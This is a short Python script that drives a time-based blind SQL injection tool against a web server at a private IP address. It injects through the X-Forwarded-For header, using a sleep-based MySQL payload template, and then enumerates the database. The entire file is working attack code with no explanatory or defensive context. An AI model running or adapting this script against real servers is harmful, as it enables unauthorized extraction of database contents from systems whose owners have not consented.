#!/usr/bin/python

from lib.blindexploit import SqlEngine

# Define Target Data
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

# Define Target Parameters
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}

# Blind SQL Injection for this example ' or sleep(0.9)='
# Provides Templeting for Advance SQLi Exploitation.
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

# Create an instance of the SQL Fuzzing Engine
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()